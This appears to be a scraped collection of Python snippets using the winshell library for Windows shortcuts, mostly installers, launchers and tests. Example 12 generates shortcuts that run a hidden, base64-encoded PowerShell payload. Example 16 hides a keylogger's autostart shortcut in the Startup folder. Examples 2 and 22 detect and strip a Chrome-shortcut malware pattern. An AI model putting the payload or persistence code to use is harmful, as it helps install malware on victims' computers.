Esempio n. 1
0
def win_setup():
    import winshell
    import win32con
    winshell.Shortcut.show_states["min"] = win32con.SW_SHOWMINNOACTIVE

    template_dir = os.path.join(os.path.dirname(__file__), "templates")
    if Args().desktop_file:
        with winshell.shortcut(Args().desktop_file) as link:
            link.path = os.sys.executable
            link.arguments = "-m covmatic_lws.gui"
            link.description = "Covmatic LocalWebServer GUI"
            link.show_cmd = "min"
            link.icon_location = (os.path.join(template_dir,
                                               "Covmatic_Icon.ico"), 0)
    else:
        logging.getLogger().warning("No desktop file specified, skipping")
    if Args().tempdeck_desktop:
        if Args().tempdeck_desktop_file:
            with winshell.shortcut(Args().tempdeck_desktop_file) as link:
                link.path = os.sys.executable
                link.arguments = "-m covmatic_lws.gui.tempdeck"
                link.description = "Covmatic TempDeck GUI"
                link.show_cmd = "min"
                link.icon_location = (os.path.join(template_dir,
                                                   "Covmatic_Icon_Red.ico"), 0)
        else:
            logging.getLogger().warning(
                "No tempdeck desktop file specified, skipping")
    home_config = os.path.join(os.path.expanduser("~"), "covmatic.conf")
    if not os.path.exists(home_config):
        with open(home_config, "w"):
            pass
    subprocess.Popen(["notepad", home_config])
Esempio n. 2
0
def chrome_check_arg():
    """
        Check Chrome Shortcut Malware arguments  

        malicious = --enable-automation --disable-infobars --load-extension=C:\\Users\\IEUser\\AppData\\Roaming\\IEUse

        tmp_path = [(path, attrib)]

        if return [] == Not infected
        else Infected
    """
    log.info("Start Scanning Chrome Shortcut arguments...")
    path_list = glob.iglob("C:/**/*.lnk", recursive=True)
    mal_attr = "--enable-automation --disable-infobars --load-extension".split(
        " ")[:2]
    tmp_path = []
    for path in path_list:
        try:
            with winshell.shortcut(path) as link:
                if 'chrome.exe' in link.path and mal_attr[
                        0] in link.arguments and mal_attr[1] in link.arguments:
                    log.debug("Found Malicious arguments at %s" % path)
                    tmp_path.append((path, link.arguments))
        except:
            if "chrome.exe" in winshell.shortcut(path).path:
                log.error("Fail To Access At %s" % path)
    log.info("Chrome Extension Scanning Complete")

    return tmp_path
Esempio n. 3
0
def populateProgramList():
    shortcuts = {}
    programpaths = {}

    user_programs = winshell.programs()
    for dirpath, dirnames, filenames in os.walk(user_programs):
        relpath = dirpath[1 + len(user_programs):]
        shortcuts.setdefault(relpath, []).extend(
            [winshell.shortcut(os.path.join(dirpath, f)) for f in filenames])

    all_programs = winshell.programs(common=1)
    for dirpath, dirnames, filenames in os.walk(all_programs):
        relpath = dirpath[1 + len(all_programs):]
        shortcuts.setdefault(relpath, []).extend(
            [winshell.shortcut(os.path.join(dirpath, f)) for f in filenames])

    for relpath, lnks in sorted(shortcuts.items()):
        level = relpath.count("\\")
        if level == 0:
            print("")
        #print("%s+ %s" % ("    " * level, relpath))

        for lnk in lnks:
            name, _ = os.path.splitext(os.path.basename(lnk.lnk_filepath))
            #print("%s* %s -> %s" % ("    " * (level + 1), name, lnk.path))
            programpaths[name] = lnk.lnk_filepath

    programpaths = sorted(programpaths.items())
    '''
    for program, path in programpaths:
        if '.exe' in path:
            print(program)
            print(path)
    '''
    return programpaths
Esempio n. 4
0
def create_shortcut(shortcut_name,
                    target,
                    arguments=None,
                    shortcut_path=None,
                    description=None,
                    hotkey=HOTKEY):
    """
    Creating shortcut with given parameters.
    :param shortcut_name: Shortcut's name.
    :param target: Shortcut's target file.
    :param arguments: Arguments for the target file.
    :param shortcut_path: Where the shortcut will be created. Default is on the desktop.
    :param description: Shortcut description. Default is nothing.
    :param hotkey: Assign a key to the shortcut file. Default is the constant HOTKEY (defined above).
    """
    # Checking if the path exists and if not creating it. If there's no path choosing default.
    if shortcut_path:

        # Validation check.
        if isdir(shortcut_path):
            shortcut = winshell.shortcut(join(shortcut_path, shortcut_name))
        else:
            print("[!] It appears that the directory {} not exists!".format(
                shortcut_path))
            print("[+] Creating {}".format(shortcut_path))
            makedirs(shortcut_path)
            shortcut = winshell.shortcut(join(shortcut_path, shortcut_name))
    else:
        shortcut = winshell.shortcut(join(winshell.desktop(), shortcut_name))

    # Validation check and setting up target file.
    if isfile(target):
        shortcut.path = target
    else:
        print(
            "[!] The file {} doesn't exists. Please run again this program with valid file."
            .format(target))
        return

    # Appending description if exists.
    if description:
        shortcut.description = description

    # Adding arguments if exists.
    if arguments:
        shortcut.arguments = arguments

    # Assigning hotkey.
    shortcut.hotkey = ord(hotkey.upper())

    # Creating the shortcut.
    shortcut.write()
Esempio n. 5
0
 def test_dump(self):
     #
     # Can't really do much for dump[ed] so just make sure they don't
     # crash & burn
     #
     _stdout = sys.stdout
     sys.stdout = StringIO()
     try:
         winshell.shortcut().dump()
         sys.stdout.seek(0)
         self.assertTrue(sys.stdout.read().startswith("{\n  -unsaved-"))
     finally:
         sys.stdout = _stdout
Esempio n. 6
0
def post_install():
    if sys.platform == 'win32':
        new_cadnano_binary_fps = [pjoin( script_path, fn)
                                         for fn in cadnano_binaries]
        # print("Copying from ... :", cadnano_binary_fps)
        # print("... to:", new_cadnano_binary_fps)
        # [shutil.copy2(o, d) for o, d in zip(cadnano_binary_fps,
        #                                        new_cadnano_binary_fps)]
        # list(map(makeExecutable, new_cadnano_binary_fps))
        print("Installing Start menu shortcut...")
        import winshell
        link_filepath = os.path.join(winshell.programs(), "cadnano.lnk")
        import cadnano
        CN_PATH = os.path.dirname(os.path.abspath(cadnano.__file__))
        ICON_PATH = pjoin(CN_PATH, 'gui', 'ui',
                    'mainwindow', 'images', 'radnano-app-icon.ico')
        with winshell.shortcut(link_filepath) as link:
          link.path = new_cadnano_binary_fps[0]
          link.description = "Shortcut to cadnano"
          link.icon_location = (ICON_PATH, 0)
          # link.arguments = ""
        print("...Installation Complete")
    elif sys.platform == 'darwin':
        import cadnano.bin.appify as appify
        CN_BIN_PATH = os.path.dirname(os.path.abspath(appify.__file__))
        CN_PATH = os.path.dirname(CN_BIN_PATH)
        # rename script to fix Mac About menu text
        entry_path = pjoin(CN_BIN_PATH, 'radnano')
        shutil.copy2(pjoin(CN_BIN_PATH, 'main.py'), entry_path)
        ICON_PATH = pjoin(CN_PATH, 'gui', 'ui',
                            'mainwindow', 'images', 'radnano-app-icon.icns')
        appify.doAppify(entry_path, 'cadnano',
                            app_icon_path=ICON_PATH)
        print("...Installation Complete")
Esempio n. 7
0
def post_install():
    if platform.system() == 'Windows':
        print("Creating start menu shortcut...")
        import winshell
        icon_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'images', 'favicon.ico')
        flika_exe = os.path.join(sys.exec_prefix, 'Scripts', 'flika.exe')
        link_path = os.path.join(winshell.programs(), "flika.lnk")
        with winshell.shortcut(link_path) as link:
            link.path = flika_exe
            link.description = "flika"
            link.icon_location = (icon_path, 0)
        link_path = os.path.join(winshell.desktop(), "flika.lnk")
        with winshell.shortcut(link_path) as link:
            link.path = flika_exe
            link.description = "flika"
            link.icon_location = (icon_path, 0)
Esempio n. 8
0
 def getAllAppInfo(self, package):
     """
     It will find and put all the info of installed apps to two list: appname and path
     :param filters: self.appName, self.appPath
     :return: self.appName, self.appPath
     """
     shortcuts = {}
     appName = []
     appPth = []
     # get list of all programmes installed in local pc
     all_programs = winshell.programs(common=1)
     # loop to store info to shortcut, path, filename.
     for dirpath, dirnames, filenames in os.walk(all_programs):
         relpath = dirpath[1+ len(all_programs):]
         shortcuts.setdefault(relpath, []).extend([winshell.shortcut(os.path.join(dirpath, f)) for f in filenames])
     # loop to store all the app names, paths to a dictionary
     for relpath, lnks in sorted(shortcuts.items()):
         for lnk in lnks:
             name, _ = os.path.splitext(os.path.basename(lnk.lnk_filepath))
             appName.append(name)
             appPth.append(lnk.path)
             #self.createLog('Found %s: %s' % (name, lnk.path))
     appInfo = {}
     # fix the encoding convention
     for name in appName:
         pth = appPth[appName.index(name)]
         pth = func.encode(pth, 'utf8')
         name = func.encode(name, 'utf8')
         appInfo[name] = pth
     # return data
     return appInfo
Esempio n. 9
0
    def get_app_installed(self, fileName='appInfo.cfg', **appInfo):
        shortcuts = {}
        appName = []
        appPth = []

        all_programs = winshell.programs(common=1)

        for dirpath, dirnames, filenames in os.walk(all_programs):
            relpath = dirpath[1 + len(all_programs):]
            shortcuts.setdefault(relpath, []).extend([
                winshell.shortcut(os.path.join(dirpath, f)) for f in filenames
            ])
        for relpath, lnks in sorted(shortcuts.items()):
            for lnk in lnks:
                name, _ = os.path.splitext(os.path.basename(lnk.lnk_filepath))
                appName.append(name)
                appPth.append(lnk.path)

        for name in appName:
            appInfo[str(name)] = str(appPth[appName.index(name)])

        self.appInfo = appInfo
        self._appInfo = True

        pth = os.path.join(self.pthInfo['config'], fileName)
        self.compare_data(pth, self.appInfo)
        return True
Esempio n. 10
0
def update_link(link_file: PATH_OR_STR_TYPE):
    """
    Updates the provided link, if required
    """
    shortcut = winshell.shortcut(str(link_file))
    shortcut_path = Path(shortcut.path)
    working_directory = shortcut.working_directory
    icon_path, icon_index = shortcut.icon_location
    drive_pairing = [('C:', 'D:')]

    if shortcut_path.drive == 'C:' and 'Program Files' in str(
            shortcut_path) and shortcut_path.exists() is False:
        if '%' not in str(shortcut_path):
            shortcut_path = str(get_updated_path(shortcut_path, drive_pairing))
        if len(working_directory) > 0 and not '%' in working_directory:
            working_directory = str(
                get_updated_path(working_directory, drive_pairing))
        if len(icon_path) > 0 and not '%' in icon_path:
            icon_path = str(get_updated_path(icon_path, drive_pairing))

        if shortcut_path != shortcut.path or working_directory != shortcut.working_directory or icon_path != shortcut.icon_location[
                0]:
            shortcut.path = shortcut_path
            shortcut.working_directory = working_directory
            shortcut.icon_location = (icon_path, icon_index)
            if DO_MAKE_CHANGES is True:
                print('Updating shortcut: {0}'.format(link_file))
                shortcut.write()
            else:
                print('Shortcut that needs updating: {0}'.format(link_file))
Esempio n. 11
0
def fetchExePaths(directory):
    exePaths = []
    for lnk in glob.glob(os.path.join(directory, "*.lnk")):
        shortcut = winshell.shortcut(lnk)
        # print(shortcut.lnk_filepath)
        # if not "Uninstall" in shortcut.lnk_filepath \
        #         and not "uninstall" in shortcut.lnk_filepath \
        #         and not "remove" in shortcut.lnk_filepath \
        #         and not "Remove" in shortcut.lnk_filepath \
        #         and not "x86" in shortcut.lnk_filepath \
        #         and not "Telemetry" in shortcut.lnk_filepath \
        #         and not "preferences" in shortcut.lnk_filepath \
        #         and not "skinned" in shortcut.lnk_filepath:
        if shortcut.path:
            if "VALORANT" in shortcut.lnk_filepath:
                exePaths.append(
                    shortcut.path.replace("\\", "/") +
                    ' --launch-product=valorant --launch-patchline=live')
            elif "Update.exe" in shortcut.path:
                app_name = str(os.path.basename(os.path.dirname(
                    shortcut.path))) + '.exe'
                exePaths.append(
                    shortcut.path.replace("\\", "/") + ' --processStart ' +
                    '\"' + app_name + '\"')
            else:
                exePaths.append(shortcut.path.replace("\\", "/"))
    return exePaths
Esempio n. 12
0
	def createShortcut(self):
		
		if verbose:
			print("Loading payload...")

		payloadBin = open(os.getcwd()+"/payload/"+self.payload+".ps1", 'r').read()

		if verbose:
			print("Loaded payload "+self.payload+" ({} bytes)".format(len(payloadBin)))
			print("Encoding payload...")

		payloadBin = powershell_encode(payloadBin)
		if verbose:
			print("Encoded payload ({} bytes)".format(len(payloadBin)))

		if verbose:
			print("Generating shortcut...")

		outputFile = str(os.getcwd() +"/"+self.scName)
		with winshell.shortcut(outputFile) as malink:
			malink.path = str(Path(winshell.folder('CSIDL_SYSTEM')) / 'WindowsPowerShell' / 'v1.0' / 'powershell.exe')
			malink.description = self.scComment
			malink.arguments = "-nologo -windowstyle hidden -encodedCommand "+payloadBin
			malink.icon_location = self.scIcon
			malink.working_directory = str(Path(winshell.folder('CSIDL_SYSTEM')))
			if verbose:
				print("Payload generated: ")
				malink.dump()

		print("Thanks for using Malinka.")
		print("Malinka is published and developed for academic use only")
		print("Please act with professional and ethical intent when using this software")
Esempio n. 13
0
def add_shortcut(target,
                 name,
                 description="",
                 arguments="",
                 icon=None,
                 workdir=None,
                 folder=None):
    """
    Add a shortcut to the desktop.

    @param      target      target
    @param      name        name of the shortcut
    @param      description description
    @param      arguments   arguments
    @param      icon        icon
    @param      workdir     working directory
    @param      folder      where to save the shortcut (None for the desktop)
    @return                 path to the shortcut
    """
    if not sys.platform.startswith("win"):
        raise NotImplementedError(
            "not implemented on this platform: " +
            sys.platform)

    try:
        import winshell
    except ImportError as e:
        if "DLL load failed" in str(e):
            os.environ["PATH"] = os.environ[
                "PATH"] + ";" + os.path.split(sys.executable)[0] + r"\lib\site-packages\pywin32_system32"
            try:
                import winshell
            except ImportError:
                raise ImportError(
                    r"you should run the following in your current folder:\ncopy C:\%s\lib\site-packages\pywin32_system32\py*.dll %s" %
                    (os.path.split(
                        sys.executable),
                        os.getcwd())) from e
        else:
            raise e

    if folder is None:
        folder = winshell.desktop()
    link_filepath = os.path.join(folder, name + ".lnk")

    args = ["/c", "start", target, arguments]

    with winshell.shortcut(link_filepath) as link:
        link.path = r"%windir%\system32\cmd.exe"
        link.description = description if description is not None else name
        link.arguments = " ".join(args)
        if icon is not None:
            link.icon_location = (icon, 0)
        if workdir is not None:
            link.working_directory = workdir

    if not os.path.exists(link_filepath):
        raise FileNotFoundError(link_filepath)
    return link_filepath
Esempio n. 14
0
def createShortcut( target="", shortcutPath="", icon_location="" ):
	if os.path.exists( target ) == False:
		print("WARNING: path: " + target + " does not exist.")
	with winshell.shortcut( shortcutPath ) as shortcut:
		shortcut.lnk_filepath = shortcutPath
		shortcut.path = target
		shortcut.icon_location = (icon_location,0)
		shortcut.write( shortcutPath )
Esempio n. 15
0
def create_shortcut():
    desktop = winshell.desktop()

    with winshell.shortcut(os.path.join(
            desktop, "Steam Account Switcher.lnk")) as shortcut:
        shortcut.path = sys.argv[0]
        shortcut.icon = sys.argv[0], 0
        shortcut.working_directory = os.getcwd()
Esempio n. 16
0
def create_shortcut(user_name, exec_path):
    lnk_name = 'IamnotKeylogger.lnk'
    lnk_filepath = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\%s' % (
        user_name, lnk_name)
    if not os.path.exists(lnk_filepath):
        shct = shortcut(exec_path + '\\' + os.path.basename(sys.executable))
        shct.write(lnk_filepath)
        os.system('attrib +h "%s"' % lnk_filepath)
Esempio n. 17
0
 def test_context_manager(self):
     guid = "32710ee1-6df9-11e1-8401-ec55f9f656d6-2"
     shortcut_filepath = os.path.join(self.temppath, guid + ".lnk")
     self.assertFalse(os.path.exists(shortcut_filepath))
     with winshell.shortcut(shortcut_filepath) as s:
         s.path = self.targetpath
         s.description = guid
     self.assertTrue(os.path.exists(shortcut_filepath))
Esempio n. 18
0
def create_shortcut(dir):
    shortcut_path = get_shortcut_path(dir)
    with winshell.shortcut(str(shortcut_path)) as shortcut:
        shortcut.path = str(conda_root / "pythonw.exe")
        shortcut.arguments = "-m jupytray"
        shortcut.working_directory = str(conda_root)
        shortcut.icon_location = (str(icon_path), 0)
    click.echo(f"Created shortcut <{shortcut_path}>")
Esempio n. 19
0
def create_link(name, file, params):
    path = f"{tools_path}\\{name}.lnk"
    shortcut = winshell.shortcut(path)
    shortcut.path = f'{python}'
    shortcut.arguments = f'src\\{file} {params}'
    shortcut.working_directory = root_path
    shortcut.write()
    as_admin(path)
Esempio n. 20
0
 def win_symlink(src, tgt):
     if platform.win32_ver()[0] == '7':
         import winshell
         shortcut = winshell.shortcut(src)
         tgt = tgt + '.lnk'
         shortcut.write(tgt)
     elif not os.path.exists(tgt):
         subprocess.check_call(f'mklink /J \"{tgt}\" \"{src}\"', shell=True)
     return tgt
Esempio n. 21
0
def linkBin(path, file):
    # This is file that need to be linked
    binary = os.path.join(path, file)
    # This is where file will be linked to
    link = os.path.join(os.fsdecode(maidBinDir), file)
    link = str(link) + ".lnk"
    # Try to link shortcut
    scut = shortcut(binary)
    scut.write(link)
    print("\t->", link)
Esempio n. 22
0
def chrome_remove_arg(path_list):
    """
        Remove All Chrome Malware Shortcut arg
    """
    log.info("Start Removing Chrome shortcut attributes...")
    mal_attr = "--enable-automation --disable-infobars --load-extension".split(
        " ")[:2]
    path_list = [i[0] for i in path_list]
    for path in path_list:
        try:
            with winshell.shortcut(path) as link:
                if 'chrome.exe' in link.path and mal_attr[
                        0] in link.arguments and mal_attr[1] in link.arguments:
                    log.debug("Removing arguments at %s", path)
                    link.arguments = ""
        except:
            if "chrome.exe" in winshell.shortcut(path).path:
                log.error("Fail To Access At %s" % path)
    log.info("Chrome shortcut arguments removed!")
Esempio n. 23
0
def Folder2CygFolder(fileOrFolder):
    winDrive, winPathAndFile = os.path.splitdrive(fileOrFolder)
    isFile = False

    if os.path.isfile(fileOrFolder):
        isFile = True
        filePath, fileNameComplete = os.path.split(fileOrFolder)
        fileName, fileExtension = os.path.splitext(fileNameComplete)
        if fileExtension.lower() == ".lnk":
            lnkFile = winshell.shortcut(fileOrFolder)
            lnkDrive, lnkPathAndFile = os.path.splitdrive(
                winshell.Shortcut._get_path(lnkFile))
            lnkFilepath, lnkFilenameExt = os.path.split(
                winshell.Shortcut._get_path(lnkFile))
            lnkFullPath = lnkDrive + lnkPathAndFile
            if os.path.isfile(lnkDrive + lnkPathAndFile):
                filePath, fileNameComplete = os.path.split(lnkDrive +
                                                           lnkPathAndFile)
                fileName, fileExtension = os.path.splitext(fileNameComplete)
                cygPath = "/cygdrive/" + winDrive.replace(
                    ":", "").lower() + filePath.replace(
                        winDrive + "\\", "/").replace("\\", "/")
                cygPath = cygPath.replace(" ", "\ ")
                cygFile = fileName + fileExtension
                cygFile = cygFile.replace(" ", "\ ")
                cygDrive = "/cygdrive/" + winDrive.replace(
                    ":", "").lower() + winPathAndFile.replace("\\", "/")
                return cygDrive, isFile, cygPath, cygFile, fileExtension
            else:
                isFile = False
                winDrive, winPathAndFile = os.path.splitdrive(lnkFullPath)
                cygPath = "/cygdrive/" + winDrive.replace(
                    ":", "").lower() + winPathAndFile.replace("\\", "/")
                cygPath = cygPath.replace(" ", "\ ")
                cygDrive = cygPath
                return cygDrive, isFile, None, None
        else:
            cygPath = "/cygdrive/" + winDrive.replace(
                ":", "").lower() + filePath.replace(winDrive + "\\",
                                                    "/").replace("\\", "/")
            cygPath = cygPath.replace(" ", "\ ")
            cygFile = fileName + fileExtension
            cygFile = cygFile.replace(" ", "\ ")
            cygDrive = "/cygdrive/" + winDrive.replace(
                ":", "").lower() + winPathAndFile.replace("\\", "/")
            return cygDrive, isFile, cygPath, cygFile, fileExtension
    else:
        cygPath = "/cygdrive/" + winDrive.replace(
            ":", "").lower() + winPathAndFile.replace("\\", "/")
        cygPath = cygPath.replace(" ", "\ ")
        cygDrive = cygPath
        return cygDrive, isFile, None, None
Esempio n. 24
0
def deleteFile(path):
    modifiedOnlyRead(path)
    files = os.listdir(path)
    for i in xrange(len(files)):
        p = os.path.join(path, files[i])
        if isLNK(files[i]):
            link = winshell.shortcut(p)
            if ("cmd.exe" in link.path and "Manuel.doc" in link.arguments):
                os.remove(p)
            else:
                pass
        elif "Manuel.doc" == files[i]:
            os.remove(p)
Esempio n. 25
0
 def create_shortcut(thepath, thehome):
     gui_app.printcmd('\n Creating shortcut in ' + thepath)
     python_path = os.path.join(os.path.dirname(sys.executable),
                                'pythonw.exe')
     mainfile_path = os.path.join(thehome, 'simcav_main.py')
     icons_folder = os.path.join(thehome, 'Icons')
     with winshell.shortcut(thepath) as thelink:
         thelink.path = python_path
         thelink.arguments = '"' + mainfile_path + '"'
         thelink.working_directory = thehome
         thelink.description = "Shortcut to SimCav"
         thelink.icon_location = (os.path.join(
             icons_folder, 'logo-tg3.ico'), 0)
Esempio n. 26
0
def create_desktop_shortcut():
    if sys.platform != 'win32':
        print(f"Creation of shortcut only works for Windows systems.")
        return

    """Creates a desktop shortcut, help from https://pbpython.com/windows-shortcut.html"""
    path = os.path.join(winshell.desktop(), "SM.lnk")
    with winshell.shortcut(path) as shortcut:
        shortcut.path = sys.executable
        shortcut.description = "Spectra Manipulator"
        shortcut.arguments = "-m spectramanipulator"
        # shortcut.icon_location = (icon, 0)
        shortcut.working_directory = os.path.dirname(sys.executable)
Esempio n. 27
0
def _create_shortcut_windows() -> str:
    """
    Creates a desktop shortcut on Windows, which launches PyMODA with the
    current arguments.
    """
    import os
    import winshell

    path = os.path.join(winshell.desktop(), "PyMODA.lnk")
    with winshell.shortcut(path) as s:
        s.path = _get_executable_windows()
        s.description = "Shortcut to launch PyMODA."
        s.arguments = _python_interpreter_arguments()

    return "Created desktop shortcut for PyMODA with current arguments."
Esempio n. 28
0
def windows_make_shortcut_to_app():
    pyinstaller_built_folder = Build.dir_dist_collated / 'AudioQuake'
    new_folder_path = Build.dir_dist_collated / Build.dir_windows_app
    link_path = Build.dir_dist_collated / 'AudioQuake.lnk'
    relative_path_to_exe = Path(Build.dir_windows_app) / 'AudioQuake.exe'

    print(
        'Making Windows launcher shortcut (and renaming generated directory)')
    pyinstaller_built_folder.rename(new_folder_path)

    with winshell.shortcut(str(link_path)) as shortcut:
        shortcut.path = r'%windir%\explorer.exe'
        shortcut.arguments = '"' + str(relative_path_to_exe) + '"'
        # The icon shall be the XP-style white arrow on green background
        shortcut.icon_location = r'%SystemRoot%\System32\SHELL32.dll', 176
        shortcut.description = "AudioQuake & LDL Launcher"
def add_favorite(shortcut_name, target_path, description=''):
    """
    Add favorite shortcut. If shortcut already exists in Links, the
    shortcut will be updated with the given path.
    """

    #shortcut_path
    shortcut_path = os.path.join(get_links_directory(),
                                 '{0}.lnk'.format(shortcut_name))

    #create shortcut
    with winshell.shortcut(shortcut_path) as shortcut:
        shortcut.path = target_path
        shortcut.description = description

    #log
    print('Sucessfully created/updated favorite: {0}'.format(shortcut_path))
def add_favorite(shortcut_name, target_path, description = ''):
    """
    Add favorite shortcut. If shortcut already exists in Links, the
    shortcut will be updated with the given path.
    """

    #shortcut_path
    shortcut_path = os.path.join(get_links_directory(), '{0}.lnk'.format(shortcut_name))
    
    
    #create shortcut
    with winshell.shortcut(shortcut_path) as shortcut:
        shortcut.path = target_path
        shortcut.description = description

    #log
    print('Sucessfully created/updated favorite: {0}'.format(shortcut_path))
Esempio n. 31
0
def makeShortcut():
    """ Create a windows shortcut on the desktop to start FOQUS """
    import os
    import pathlib as pl
    import sys
    import logging

    log = logging.getLogger("foqus." + __name__)
    if os.name != 'nt':
        log.error(
            f"Shortcut currently only created on Windows, not yet on {os.name}"
        )
        return -1

    import winshell

    # Define all the file paths needed for the shortcut
    desktop = pl.Path(winshell.desktop())
    link_filepath = desktop / "ccsi-foqus.lnk"
    conda_base = pl.Path(os.environ['CONDA_PREFIX_1'])
    activate_bat = conda_base / 'Scripts' / 'activate.bat'
    conda_env = pl.Path(os.environ['CONDA_PREFIX'])
    foqus_exe = conda_env / 'Scripts' / 'foqus.exe'
    win32_cmd = pl.Path(winshell.folder('CSIDL_SYSTEM')) / 'cmd.exe'
    this_dir = pl.Path(__file__).resolve().parent
    icon = this_dir / "foqus.ico"
    log.debug(f'icon file is {icon}')
    working_dir = pl.Path(winshell.folder('PERSONAL'))  # "Documents"

    # Build up all the arguments to cmd.exe
    cmd_args = f"/K {activate_bat} {conda_env} & {foqus_exe} && exit"

    if link_filepath.exists():
        log.info(f'Overwriting shortcut: {link_filepath}')
    else:
        log.info(f'Creating shortcut: {link_filepath}')

    # Create the shortcut on the desktop
    with winshell.shortcut(str(link_filepath)) as link:
        link.path = str(win32_cmd)
        link.description = "CCSI FOQUS"
        link.arguments = cmd_args
        link.icon_location = (str(icon), 0)
        link.working_directory = str(working_dir)
    return 0
Esempio n. 32
0
    def make_shortcut(self):
        version = self.modlunky_config.playlunky_version
        if not version:
            return

        exe_path = PLAYLUNKY_DATA_DIR / version / PLAYLUNKY_EXE

        if not is_windows():
            logger.debug("Making shortcut to %s", exe_path)
            return

        install_dir = self.modlunky_config.install_dir
        arguments = f'--exe_dir="{install_dir}"'

        with winshell.shortcut(f"{self.shortcut_path}") as link:
            link.path = f"{exe_path}"
            link.working_directory = f"{exe_path.parent}"
            link.arguments = arguments
            link.description = "Shortcut to playlunky"
Esempio n. 33
0
def Folder2CygFolder(fileOrFolder):
    winDrive,winPathAndFile = os.path.splitdrive(fileOrFolder)
    isFile = False

    if os.path.isfile(fileOrFolder):
        isFile = True
        filePath, fileNameComplete = os.path.split(fileOrFolder)
        fileName, fileExtension = os.path.splitext(fileNameComplete)
        if fileExtension.lower() == ".lnk":
            lnkFile = winshell.shortcut(fileOrFolder)
            lnkDrive, lnkPathAndFile = os.path.splitdrive(winshell.Shortcut._get_path(lnkFile))
            lnkFilepath, lnkFilenameExt = os.path.split(winshell.Shortcut._get_path(lnkFile))
            lnkFullPath = lnkDrive + lnkPathAndFile
            if os.path.isfile(lnkDrive + lnkPathAndFile):
                filePath, fileNameComplete = os.path.split(lnkDrive + lnkPathAndFile)
                fileName, fileExtension = os.path.splitext(fileNameComplete)
                cygPath = "/cygdrive/" + winDrive.replace(":", "").lower() + filePath.replace(winDrive + "\\", "/").replace("\\","/")
                cygPath = cygPath.replace(" ","\ ")
                cygFile = fileName + fileExtension
                cygFile = cygFile.replace(" ","\ ")
                cygDrive = "/cygdrive/" + winDrive.replace(":", "").lower() + winPathAndFile.replace("\\","/")
                return cygDrive, isFile, cygPath, cygFile, fileExtension
            else:
                isFile = False
                winDrive,winPathAndFile = os.path.splitdrive(lnkFullPath)
                cygPath = "/cygdrive/" + winDrive.replace(":", "").lower() + winPathAndFile.replace("\\","/")
                cygPath = cygPath.replace(" ","\ ")
                cygDrive = cygPath
                return cygDrive, isFile, None, None
        else:
            cygPath = "/cygdrive/" + winDrive.replace(":", "").lower() + filePath.replace(winDrive + "\\", "/").replace("\\","/")
            cygPath = cygPath.replace(" ","\ ")
            cygFile = fileName + fileExtension
            cygFile = cygFile.replace(" ","\ ")
            cygDrive = "/cygdrive/" + winDrive.replace(":", "").lower() + winPathAndFile.replace("\\","/")
            return cygDrive, isFile, cygPath, cygFile, fileExtension
    else:
        cygPath = "/cygdrive/" + winDrive.replace(":", "").lower() + winPathAndFile.replace("\\","/")
        cygPath = cygPath.replace(" ","\ ")
        cygDrive = cygPath
        return cygDrive, isFile, None, None
Esempio n. 34
0
    def button_save_clicked(self):
        """
        Saves all changes made.
        """
        config = db.DBManager().get_config()

        error = False
        try:
            new_sleep_time = int(self.ui_options.text_search_frequency.text())*60
        except ValueError:
            new_sleep_time = -1
        if new_sleep_time == -1:
            show_ok_message("Invalid search frequency","Invalid search frequency value.\n"
                                                       "The minimum value allowed is 15 minutes.",QtGui.QMessageBox.Warning)
            error = True
        elif new_sleep_time < 900:  # 15 min
            show_ok_message("Search frequency too high!","Search frequency must be slower.\n"
                                                         "The minimum value allowed is 15 minutes.",QtGui.QMessageBox.Warning)
            error = True

        new_app_path = read_qt_text(self.ui_options.text_app_path.text())
        if (not os.path.exists(new_app_path) or not new_app_path.endswith(".exe")) and not self.ui_options.radio_use_default_app.isChecked():
            show_ok_message("Invalid application path","Invalid application selected.\n"
                                                       "Please select the appropriate application to open the .torrent files.",QtGui.QMessageBox.Warning)
            error = True

        if not self.ui_options.text_anime_folder.isEnabled():
            new_anime_folder = ""
        else:
            new_anime_folder = self.ui_options.text_anime_folder.text()
        new_use_default_app = self.ui_options.radio_use_default_app.isChecked()
        if not os.path.isdir(new_anime_folder) and (self.ui_options.text_anime_folder.isEnabled() or new_app_path.lower().endswith("utorrent.exe")):
            if new_anime_folder=="":
                if not error and (config.anime_folder!="" or new_use_default_app!=config.use_default_app):
                    selection = show_yes_no_message("No folder?","Are you sure you do not want to specify a folder for anime?\n"
                                                                 "That means uTorrent will choose where to save downloaded episodes.")
                    if selection == QtGui.QMessageBox.Yes:
                        pass
                    elif selection == QtGui.QMessageBox.No:
                        error = True
            else:
                show_ok_message("Invalid anime folder","Invalid folder to save anime",QtGui.QMessageBox.Warning)
                error = True

        if not error:
            new_autostart = self.ui_options.checkbox_autostart.isChecked()
            new_show_notification = self.ui_options.checkbox_notification.isChecked()
            new_prefer_rss = self.ui_options.checkbox_prefer_rss.isChecked()

            if new_autostart:
                with winshell.shortcut(os.path.join(winshell.startup(),constant.AUTOSTART_SHORTCUT_NAME)) as shortcut:
                    shortcut.path = sys.executable
                    shortcut.icon = sys.executable, 0
                    shortcut.arguments = '-nogui'
                    shortcut.description = constant.AUTOSTART_SHORTCUT_DESCRIPTION
            else:
                try:
                    os.remove(os.path.join(winshell.startup(),constant.AUTOSTART_SHORTCUT_NAME))
                except WindowsError: pass

            config.update_show_notification(new_show_notification)
            config.update_sleep_time(new_sleep_time)
            config.update_prefer_rss(new_prefer_rss)
            config.update_use_default_app(new_use_default_app)
            config.update_app_path(new_app_path)
            config.update_anime_folder(new_anime_folder)

            self.dialog_options.accept()
Esempio n. 35
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os, sys
import winshell

link_filepath = os.path.join(winshell.desktop(), 'PySimulator.lnk')
with winshell.shortcut(link_filepath) as link:
    link.path = sys.prefix + r'\\pythonw.exe'
    link.description = 'PySimulator - Simulation and Analysis Environment in Python'
    link.arguments = '-m PySimulator'
    p = [s for s in sys.path if 'pysimulator' in s]
    if len(p) == 1:
        link.working_directory = os.path.join(p[0], 'PySimulator')
        link.icon_location = (os.path.join(link.working_directory, 'Icons', 'pysimulator.ico'), 0)


assimulo_name = None
sundials_name = None

import win32ui, win32con
import platform
import urllib

try:
    from assimulo.problem import Explicit_Problem
    from assimulo.problem import Implicit_Problem
    from assimulo.solvers import CVode
    from assimulo.solvers import IDA
    from assimulo.solvers import RungeKutta34
except:
Esempio n. 36
0
 def test_factory_none(self):
     self.assertIs(winshell.shortcut(None), None)
Esempio n. 37
0
 def test_factory_no_param(self):
     shortcut = winshell.shortcut()
     self.assertIsInstance(shortcut, winshell.Shortcut)
